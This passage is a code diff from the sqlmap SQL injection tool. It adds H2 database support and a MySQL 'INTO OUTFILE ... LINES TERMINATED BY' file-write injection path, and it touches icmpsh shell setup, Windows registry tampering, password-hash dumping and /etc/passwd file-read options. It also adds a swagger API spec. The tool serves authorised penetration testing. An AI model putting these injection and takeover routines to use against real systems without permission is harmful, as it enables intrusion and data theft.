                     kb.dumpTable = "%s.%s" % (conf.db, tbl)
 
-                if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \
+                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns or safeSQLIdentificatorNaming(tbl, True) not in kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
-                   or safeSQLIdentificatorNaming(tbl, True) not in \
-                   kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \
-                   or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]:
                     warnMsg = "unable to enumerate the columns for table "
                     warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl)
                     warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
@@ -229,7 +226,7 @@ class Entries:
                                     entries = zip(*[entries[colName] for colName in colList])
                         else:
                             query = rootQuery.inband.query % (colString, conf.db, tbl)
-                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
+                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                         query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                     else:
                         query = rootQuery.inband.query % (colString, conf.db, tbl)
@@ -402,7 +399,7 @@ class Entries:
                                     if column not in entries:
                                         entries[column] = BigArray()
 
-                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB):
+                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                     elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                                         query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index)

plugins/generic/filesystem.py

@@ -284,17 +284,23 @@ class Filesystem:
         if conf.direct or isStackingAvailable():
             if isStackingAvailable():
                 debugMsg = "going to upload the file '%s' with " % fileType
-                debugMsg += "stacked query SQL injection technique"
+                debugMsg += "stacked query technique"
                 logger.debug(debugMsg)
 
             written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
             self.cleanup(onlyFileTbl=True)
         elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
             debugMsg = "going to upload the file '%s' with " % fileType
-            debugMsg += "UNION query SQL injection technique"
+            debugMsg += "UNION query technique"
             logger.debug(debugMsg)
 
             written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
+        elif Backend.isDbms(DBMS.MYSQL):
+            debugMsg = "going to upload the file '%s' with " % fileType
+            debugMsg += "LINES TERMINATED BY technique"
+            logger.debug(debugMsg)
+
+            written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
         else:
             errMsg = "none of the SQL injection techniques detected can "
             errMsg += "be used to write files to the underlying file "

plugins/generic/search.py

@@ -60,7 +60,7 @@ class Search:
             values = []
             db = safeSQLIdentificatorNaming(db)
 
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                 db = db.upper()
 
             infoMsg = "searching database"
@@ -167,8 +167,9 @@ class Search:
             values = []
             tbl = safeSQLIdentificatorNaming(tbl, True)
 
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
                 tbl = tbl.upper()
+                conf.db = conf.db.upper() if conf.db else conf.db
 
             infoMsg = "searching table"
             if tblConsider == '1':
@@ -303,7 +304,9 @@ class Search:
                     for index in indexRange:
                         query = rootQuery.blind.query2
 
-                        if query.endswith("'%s')"):
+                        if " ORDER BY " in query:
+                            query = query.replace(" ORDER BY ", "%s ORDER BY " % (" AND %s" % tblQuery))
+                        elif query.endswith("'%s')"):
                             query = query[:-1] + " AND %s)" % tblQuery
                         else:
                             query += " AND %s" % tblQuery
@@ -387,8 +390,10 @@ class Search:
             conf.db = origDb
             conf.tbl = origTbl
 
-            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
+            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2):
                 column = column.upper()
+                conf.db = conf.db.upper() if conf.db else conf.db
+                conf.tbl = conf.tbl.upper() if conf.tbl else conf.tbl
 
             infoMsg = "searching column"
             if colConsider == "1":

plugins/generic/takeover.py

@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
 import os
 
 from lib.core.common import Backend
+from lib.core.common import getSafeExString
 from lib.core.common import isStackingAvailable
 from lib.core.common import readInput
 from lib.core.common import runningAsAdmin
@@ -20,6 +21,7 @@ from lib.core.exception import SqlmapMissingDependence
 from lib.core.exception import SqlmapMissingMandatoryOptionException
 from lib.core.exception import SqlmapMissingPrivileges
 from lib.core.exception import SqlmapNotVulnerableException
+from lib.core.exception import SqlmapSystemException
 from lib.core.exception import SqlmapUndefinedMethod
 from lib.core.exception import SqlmapUnsupportedDBMSException
 from lib.takeover.abstraction import Abstraction
@@ -125,20 +127,23 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
                 raise SqlmapMissingPrivileges(errMsg)
 
             try:
-                from impacket import ImpactDecoder
+                __import__("impacket")
-                from impacket import ImpactPacket
             except ImportError:
                 errMsg = "sqlmap requires 'python-impacket' third-party library "
                 errMsg += "in order to run icmpsh master. You can get it at "
                 errMsg += "http://code.google.com/p/impacket/downloads/list"
                 raise SqlmapMissingDependence(errMsg)
 
-            sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
+            filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
 
-            if os.path.exists(sysIgnoreIcmp):
+            if os.path.exists(filename):
-                fp = open(sysIgnoreIcmp, "wb")
+                try:
-                fp.write("1")
+                    with open(filename, "wb") as f:
-                fp.close()
+                        f.write("1")
+                except IOError, ex:
+                    errMsg = "there has been a file opening/writing error "
+                    errMsg += "for filename '%s' ('%s')" % (filename, getSafeExString(ex))
+                    raise SqlmapSystemException(errMsg)
             else:
                 errMsg = "you need to disable ICMP replies by your machine "
                 errMsg += "system-wide. For example run on Linux/Unix:\n"
@@ -372,7 +377,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
         else:
             regVal = conf.regVal
 
-        infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
+        infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
         logger.info(infoMsg)
 
         return self.readRegKey(regKey, regVal, True)
@@ -417,7 +422,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
         else:
             regType = conf.regType
 
-        infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
+        infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
         infoMsg += "with data '%s'. " % regData
         infoMsg += "This will work only if the user running the database "
         infoMsg += "process has privileges to modify the Windows registry."
@@ -449,12 +454,12 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
             regVal = conf.regVal
 
         message = "are you sure that you want to delete the Windows "
-        message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
+        message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
 
         if not readInput(message, default='N', boolean=True):
             return
 
-        infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
+        infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
         infoMsg += "This will work only if the user running the database "
         infoMsg += "process has privileges to modify the Windows registry."
         logger.info(infoMsg)

plugins/generic/users.py

@@ -19,7 +19,6 @@ from lib.core.common import isNoneValue
 from lib.core.common import isNumPosStrValue
 from lib.core.common import isTechniqueAvailable
 from lib.core.common import parsePasswordHash
-from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import unArrayizeValue
 from lib.core.convert import hexencode
@@ -187,13 +186,12 @@ class Users:
                 query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
 
             if Backend.isDbms(DBMS.SYBASE):
-                randStr = randomStr()
                 getCurrentThreadData().disableStdOut = True
 
-                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
+                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
 
                 if retVal:
-                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
+                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                         if user not in kb.data.cachedUsersPasswords:
                             kb.data.cachedUsersPasswords[user] = [password]
                         else:
@@ -228,13 +226,12 @@ class Users:
             if Backend.isDbms(DBMS.SYBASE):
                 getCurrentThreadData().disableStdOut = True
 
-                randStr = randomStr()
                 query = rootQuery.inband.query
 
-                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
+                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=True)
 
                 if retVal:
-                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
+                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
                         password = "0x%s" % hexencode(password, conf.encoding).upper()
 
                         if user not in kb.data.cachedUsersPasswords:
@@ -288,6 +285,8 @@ class Users:
                                 query = rootQuery.blind.query % (user, index, user)
                         elif Backend.isDbms(DBMS.INFORMIX):
                             query = rootQuery.blind.query % (user,)
+                        elif Backend.isDbms(DBMS.HSQLDB):
+                            query = rootQuery.blind.query % (index, user)
                         else:
                             query = rootQuery.blind.query % (user, index)
 

procs/mysql/write_file_limit.sql

@@ -1 +1 @@
-LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- 
+LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -

sqlmap.conf

@@ -43,16 +43,16 @@ sitemapUrl =
 # Force usage of given HTTP method (e.g. PUT).
 method = 
 
-# Data string to be sent through POST.
+# Data string to be sent through POST (e.g. "id=1").
 data = 
 
-# Character used for splitting parameter values.
+# Character used for splitting parameter values (e.g. &).
 paramDel = 
 
-# HTTP Cookie header value.
+# HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..").
 cookie = 
 
-# Character used for splitting cookie values.
+# Character used for splitting cookie values (e.g. ;).
 cookieDel = 
 
 # File containing cookies in Netscape/wget format.
@@ -98,7 +98,7 @@ authCred =
 # Syntax: key_file
 authFile = 
 
-# Ignore HTTP error code (e.g. 401).
+# Ignore (problematic) HTTP error code (e.g. 401).
 # Valid: integer
 ignoreCode =
 
@@ -579,15 +579,15 @@ shLib =
 
 # Read a specific file from the back-end DBMS underlying file system.
 # Examples: /etc/passwd or C:\boot.ini
-rFile = 
+fileRead = 
 
 # Write a local file to a specific path on the back-end DBMS underlying
 # file system.
 # Example: /tmp/sqlmap.txt or C:\WINNT\Temp\sqlmap.txt
-wFile = 
+fileWrite = 
 
 # Back-end DBMS absolute filepath to write the file to.
-dFile = 
+fileDest = 
 
 
 # These options can be used to access the back-end database management
@@ -746,7 +746,7 @@ updateAll = False
 # Run host OS command(s) when SQL injection is found.
 alert =
 
-# Set question answers (e.g. "quit=N,follow=N").
+# Set predefined answers (e.g. "quit=N,follow=N").
 answers =
 
 # Beep on question and/or when SQL injection is found.
@@ -761,7 +761,7 @@ checkPayload = False
 # Valid: True or False
 cleanup = False
 
-# Check for missing (non-core) sqlmap dependencies.
+# Check for missing (optional) sqlmap dependencies.
 # Valid: True or False
 dependencies = False
 
@@ -778,6 +778,10 @@ googlePage = 1
 # Valid: True or False
 identifyWaf = False
 
+# Display list of available tamper scripts
+# Valid: True or False
+listTampers = False
+
 # Imitate smartphone through HTTP User-Agent header.
 # Valid: True or False
 mobile = False

sqlmap.py

@@ -5,37 +5,37 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import sys
-
-sys.dont_write_bytecode = True
-
 try:
-    __import__("lib.utils.versioncheck")  # this has to be the first non-standard import
+    import sys
-except ImportError:
-    exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details")
 
-import bdb
+    sys.dont_write_bytecode = True
-import distutils
-import glob
-import inspect
-import json
-import logging
-import os
-import re
-import shutil
-import sys
-import thread
-import threading
-import time
-import traceback
-import warnings
 
-warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
+    try:
-warnings.filterwarnings(action="ignore", category=DeprecationWarning)
+        __import__("lib.utils.versioncheck")  # this has to be the first non-standard import
+    except ImportError:
+        exit("[!] wrong installation detected (missing modules). Visit 'https://github.com/sqlmapproject/sqlmap/#installation' for further details")
 
-from lib.core.data import logger
+    import bdb
+    import distutils
+    import glob
+    import inspect
+    import json
+    import logging
+    import os
+    import re
+    import shutil
+    import sys
+    import thread
+    import threading
+    import time
+    import traceback
+    import warnings
+
+    warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning)
+    warnings.filterwarnings(action="ignore", category=DeprecationWarning)
+
+    from lib.core.data import logger
 
-try:
     from lib.core.common import banner
     from lib.core.common import checkIntegrity
     from lib.core.common import createGithubIssue
@@ -67,9 +67,13 @@ try:
     from lib.parse.cmdline import cmdLineParser
 except KeyboardInterrupt:
     errMsg = "user aborted"
-    logger.error(errMsg)
 
-    raise SystemExit
+    if "logger" in globals():
+        logger.critical(errMsg)
+        raise SystemExit
+    else:
+        import time
+        exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg))
 
 def modulePath():
     """
@@ -137,7 +141,7 @@ def main():
 
         conf.showTime = True
         dataToStdout("[!] legal disclaimer: %s\n\n" % LEGAL_DISCLAIMER, forceOutput=True)
-        dataToStdout("[*] starting at %s\n\n" % time.strftime("%X"), forceOutput=True)
+        dataToStdout("[*] starting @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
 
         init()
 
@@ -192,7 +196,7 @@ def main():
 
         errMsg = "user aborted"
         try:
-            logger.error(errMsg)
+            logger.critical(errMsg)
         except KeyboardInterrupt:
             pass
 
@@ -230,54 +234,65 @@ def main():
                 dataToStdout(excMsg)
                 raise SystemExit
 
+            elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")):
+                errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip()
+                logger.critical(errMsg)
+                raise SystemExit
+
             elif "MemoryError" in excMsg:
                 errMsg = "memory exhaustion detected"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif any(_ in excMsg for _ in ("No space left", "Disk quota exceeded")):
                 errMsg = "no space left on output device"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")):
                 errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1]
                 errMsg += "You should retrieve the latest development version from official GitHub "
                 errMsg += "repository at '%s'" % GIT_PAGE
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "Read-only file system" in excMsg:
                 errMsg = "output device is mounted as read-only"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "OperationalError: disk I/O error" in excMsg:
                 errMsg = "I/O error on output device"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "Violation of BIDI" in excMsg:
                 errMsg = "invalid URL (violation of Bidi IDNA rule - RFC 5893)"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "_mkstemp_inner" in excMsg:
                 errMsg = "there has been a problem while accessing temporary files"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")):
                 errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) "
                 errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)"
-                logger.error(errMsg)
+                logger.critical(errMsg)
+                raise SystemExit
+
+            elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")):
+                errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) "
+                errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)"
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "must be pinned buffer, not bytearray" in excMsg:
                 errMsg = "error occurred at Python interpreter which "
                 errMsg += "is fixed in 2.7.x. Please update accordingly "
                 errMsg += "(Reference: https://bugs.python.org/issue8104)"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "can't start new thread" in excMsg:
@@ -285,34 +300,26 @@ def main():
                 errMsg += "Please make sure that you are not running too many processes"
                 if not IS_WIN:
                     errMsg += " (or increase the 'ulimit -u' value)"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
                 errMsg = "there has been a problem in enumeration. "
                 errMsg += "Because of a considerable chance of false-positive case "
                 errMsg += "you are advised to rerun with switch '--flush-session'"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif all(_ in excMsg for _ in ("pymysql", "configparser")):
                 errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)"
-                logger.error(errMsg)
+                logger.critical(errMsg)
                 raise SystemExit
 
             elif "bad marshal data (unknown type code)" in excMsg:
                 match = re.search(r"\s*(.+)\s+ValueError", excMsg)
                 errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "")
                 errMsg += ". Please delete .pyc files on your system to fix the problem"
-                logger.error(errMsg)
+                logger.critical(errMsg)
-                raise SystemExit
-
-            elif "url = url.strip()" in excMsg:
-                dataToStdout(excMsg)
-                print
-                errMsg = "please contact '[email protected]' with details for this issue "
-                errMsg += "as he is trying to reproduce it for long time"
-                logger.error(errMsg)
                 raise SystemExit
 
             elif kb.get("dumpKeyboardInterrupt"):
@@ -325,7 +332,11 @@ def main():
                 file_ = match.group(1)
                 file_ = os.path.relpath(file_, os.path.dirname(__file__))
                 file_ = file_.replace("\\", '/')
-                file_ = re.sub(r"\.\./", '/', file_).lstrip('/')
+                if "../" in file_:
+                    file_ = re.sub(r"(\.\./)+", '/', file_)
+                else:
+                    file_ = file_.lstrip('/')
+                file_ = re.sub(r"/{2,}", '/', file_)
                 excMsg = excMsg.replace(match.group(1), file_)
 
             errMsg = maskSensitiveData(errMsg)
@@ -346,7 +357,7 @@ def main():
         kb.threadContinue = False
 
         if conf.get("showTime"):
-            dataToStdout("\n[*] shutting down at %s\n\n" % time.strftime("%X"), forceOutput=True)
+            dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True)
 
         kb.threadException = True
 
@@ -370,12 +381,6 @@ def main():
             with openFile(conf.harFile, "w+b") as f:
                 json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))
 
-        if cmdLineOptions.get("sqlmapShell"):
-            cmdLineOptions.clear()
-            conf.clear()
-            kb.clear()
-            main()
-
         if conf.get("api"):
             try:
                 conf.databaseCursor.disconnect()
@@ -390,6 +395,13 @@ def main():
             _ = time.time()
             while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                 time.sleep(0.01)
+
+            if cmdLineOptions.get("sqlmapShell"):
+                cmdLineOptions.clear()
+                conf.clear()
+                kb.clear()
+                conf.disableBanner = True
+                main()
         except KeyboardInterrupt:
             pass
         finally:

sqlmapapi.py

@@ -40,8 +40,8 @@ def main():
 
     # Parse command line options
     apiparser = optparse.OptionParser()
-    apiparser.add_option("-s", "--server", help="Act as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
+    apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true")
-    apiparser.add_option("-c", "--client", help="Act as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
+    apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true")
     apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store")
     apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store")
     apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store")

swagger.yaml

@@ -0,0 +1,460 @@
+# Note: written with Swagger Editor (https://editor.swagger.io/)
+swagger: "2.0"
+info:
+  description: ""
+  version: "1.2"
+  title: "sqlmap API"
+  contact:
+    email: "[email protected]"
+  license:
+    name: "GPL 2.0"
+    url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html"
+host: "0.0.0.0:8775"
+basePath: "/"
+tags:
+- name: "task"
+  description: "Task management functions"
+- name: "admin"
+  description: "Task administration functions"
+- name: "option"
+  description: "Task option handling functions"
+schemes:
+- "http"
+paths:
+  /task/new:
+    get:
+      tags:
+      - "task"
+      summary: "Create a new task"
+      description: ""
+      operationId: "taskNew"
+      produces:
+      - "application/json"
+      parameters: []
+      responses:
+        200:
+          description: "Task successfully created"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+              taskid:
+                type: string
+                example: "7e605b5d5a892b74"
+  /task/{taskid}/delete:
+    get:
+      tags:
+      - "task"
+      summary: "Delete an existing task"
+      description: ""
+      operationId: "taskDelete"
+      produces:
+      - "application/json"
+      parameters:
+      - name: "taskid"
+        in: "path"
+        description: "ID of an existing task to delete"
+        required: true
+        type: "string"
+      responses:
+        200:
+          description: "Task successfully deleted"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [true]
+        404:
+          description: "Task ID not found"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [false]
+              message:
+                type: string
+                enum: ["Non-existing task ID"]
+  /admin/list:
+    get:
+      tags:
+      - "admin"
+      summary: "Pull task list (locally)"
+      description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
+      operationId: "adminList"
+      produces:
+      - "application/json"
+      responses:
+        200:
+          description: "Task list successfully pulled"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [true]
+              tasks:
+                type: object
+                additionalProperties:
+                  type: string
+                example:
+                  16a7a898e8eaaf45: running
+                  644fc063408e4f12: not running
+                  8e2eb10770d913cd: not running
+                  d59d1c69bdc06933: not running
+              tasks_num:
+                type: integer
+                example: 4
+  /admin/{token}/list:
+    get:
+      tags:
+      - "admin"
+      summary: "Pull task list (remotely)"
+      description: "Note: Use in cases when connecting to server from different IP"
+      operationId: "adminListToken"
+      produces:
+      - "application/json"
+      parameters:
+      - name: "token"
+        in: "path"
+        description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
+        required: true
+        type: "string"
+      responses:
+        200:
+          description: "Task list successfully pulled"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [true]
+              tasks:
+                type: object
+                additionalProperties:
+                  type: string
+                example:
+                  5c911efa476b55f4: not running
+                  5ee038e153ffc534: not running
+                  e58c7a4de6bf7f51: not running
+              tasks_num:
+                type: integer
+                example: 4
+  /admin/flush:
+    get:
+      tags:
+      - "admin"
+      summary: "Flush task pool (locally)"
+      description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)"
+      operationId: "adminFlush"
+      produces:
+      - "application/json"
+      responses:
+        200:
+          description: "Task pool successfully flushed"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [true]
+  /admin/{token}/flush:
+    get:
+      tags:
+      - "admin"
+      summary: "Flush task pool (remotely)"
+      description: "Note: Use in cases when connecting to server from different IP"
+      operationId: "adminFlushToken"
+      produces:
+      - "application/json"
+      parameters:
+      - name: "token"
+        in: "path"
+        description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)"
+        required: true
+        type: "string"
+      responses:
+        200:
+          description: "Task pool successfully flushed"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [true]
+  /option/{taskid}/list:
+    get:
+      tags:
+      - "option"
+      summary: "List task options"
+      description: ""
+      operationId: "optionList"
+      produces:
+      - "application/json"
+      parameters:
+      - name: "taskid"
+        in: "path"
+        description: "ID of an existing task to list it's options"
+        required: true
+        type: "string"
+      responses:
+        200:
+          description: "Task options successfully listed"
+          schema:
+            type: object
+            properties:
+              success:
+                type: boolean
+                enum: [true]
+              options:
+                type: object
+                additionalProperties:
+                  type: string
+                example:
+                  crawlDepth: null 
+                  osShell: false 
+                  getUsers: false 
+                  getPasswordHashes: false 
+                  excludeSysDbs: false 
+                  ignoreTimeouts: false 
+                  regData: null 
+                  fileDest: null 
+                  prefix: null 
+                  code: null 
+                  googlePage: 1 
+                  skip: null 
+                  query: null 
+                  randomAgent: false 
+                  osPwn: false 
+                  authType: null 
+                  safeUrl: null 
+                  requestFile: null 
+                  predictOutput: false 
+                  wizard: false 
+                  stopFail: false 
+                  forms: false 
+                  uChar: null 
+                  secondReq: null 
+                  taskid: d977b0e5f091370e 
+                  pivotColumn: null 
+                  dropSetCookie: false 
+                  smart: false 
+                  paramExclude: null 
+                  risk: 1 
+                  sqlFile: null 
+                  rParam: null 
+                  getCurrentUser: false 
+                  notString: null 
+                  getRoles: false 
+                  getPrivileges: false 
+                  testParameter: null 
+                  tbl: null 
+                  charset: null 
+                  trafficFile: null 
+                  osSmb: false 
+                  level: 1 
+                  dnsDomain: null 
+                  outputDir: null 
+                  encoding: null 
+                  skipWaf: false 
+                  timeout: 30 
+                  firstChar: null 
+                  torPort: null 
+                  getComments: false 
+                  binaryFields: null 
+                  checkTor: false 
+                  commonTables: false 
+                  direct: null 
+                  tmpPath: null 
+                  titles: false 
+                  getSchema: false 
+                  identifyWaf: false 
+                  paramDel: null 
+                  safeReqFile: null 
+                  regKey: null 
+                  murphyRate: null 
+                  limitStart: null 
+                  crawlExclude: null 
+                  flushSession: false 
+                  loadCookies: null 
+                  csvDel:  
+                  offline: false 
+                  method: null 
+                  tmpDir: null 
+                  fileWrite: null 
+                  disablePrecon: false 
+                  osBof: false 
+                  testSkip: null 
+                  invalidLogical: false 
+                  getCurrentDb: false 
+                  hexConvert: false 
+                  proxyFile: null 
+                  answers: null 
+                  host: null 
+                  dependencies: false 
+                  cookie: null 
+                  proxy: null 
+                  regType: null 
+                  optimize: false 
+                  limitStop: null 
+                  search: false 
+                  uFrom: null 
+                  noCast: false 
+                  testFilter: null 
+                  ignoreCode: null 
+                  eta: false 
+                  csrfToken: null 
+                  threads: 1 
+                  logFile: null 
+                  os: null 
+                  col: null 
+                  skipStatic: false 
+                  proxyCred: null 
+                  verbose: 1 
+                  isDba: false 
+                  updateAll: false 
+                  privEsc: false 
+                  forceDns: false 
+                  getAll: false 
+                  api: true 
+                  url: http://www.test.com/index.php?id=1 
+                  invalidBignum: false 
+                  regexp: null 
+                  getDbs: false 
+                  freshQueries: false 
+                  uCols: null 
+                  smokeTest: false 
+                  udfInject: false 
+                  invalidString: false 
+                  tor: false 
+                  forceSSL: false 
+                  beep: false 
+                  noEscape: false 
+                  configFile: null 
+                  scope: null 
+                  authFile: null 
+                  torType: SOCKS5 
+                  regVal: null 
+                  dummy: false 
+                  checkInternet: false 
+                  safePost: null 
+                  safeFreq: null 
+                  skipUrlEncode: false 
+                  referer: null 
+                  liveTest: false 
+                  retries: 3 
+                  extensiveFp: false 
+                  dumpTable: false 
+                  getColumns: false 
+                  batch: true 
+                  purge: false 
+                  headers: null 
+                  authCred: null 
+                  osCmd: null 
+                  suffix: null 
+                  dbmsCred: null 
+                  regDel: false 
+                  shLib: null 
+                  sitemapUrl: null 
+                  timeSec: 5 
+                  msfPath: null 
+                  dumpAll: false 
+                  fileRead: null 
+                  getHostname: false 
+                  sessionFile: null 
+                  disableColoring: true 
+                  getTables: false 
+                  listTampers: false 
+                  agent: null 
+                  webRoot: null 
+                  exclude: null 
+                  lastChar: null 
+                  string: null 
+                  dbms: null 
+                  dumpWhere: null 
+                  tamper: null 
+                  ignoreRedirects: false 
+                  hpp: false 
+                  runCase: null 
+                  delay: 0 
+                  evalCode: null 
+                  cleanup: false 
+                  csrfUrl: null 
+                  secondUrl: null 
+                  getBanner: true 
+                  profile: false 
+                  regRead: false 
+                  bulkFile: null 
+                  db: null 
+                  dumpFormat: CSV 
+                  alert: null 
+                  harFile: null 
